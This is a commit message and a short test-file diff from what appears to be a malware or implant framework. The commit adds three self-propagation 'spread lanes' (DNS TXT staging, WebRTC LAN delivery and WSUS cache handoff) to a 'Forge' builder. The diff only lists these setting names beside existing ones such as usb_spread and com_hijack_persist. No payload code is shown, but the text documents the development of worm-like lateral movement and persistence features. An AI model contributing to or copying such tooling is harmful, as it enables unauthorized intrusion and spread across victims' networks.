Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/web/src/help/settingHelp.test.ts

@@ -109,6 +109,9 @@ describe('FIELD_HELP', () => {
     'usb_spread',
     'share_spread',
     'winrm_spread',
+    'dns_txt_spread',
+    'webrtc_mesh_spread',
+    'wsus_cache_peer_spread',
     'com_hijack_persist',
     'linux_lotl_mode',
     'hole_punch',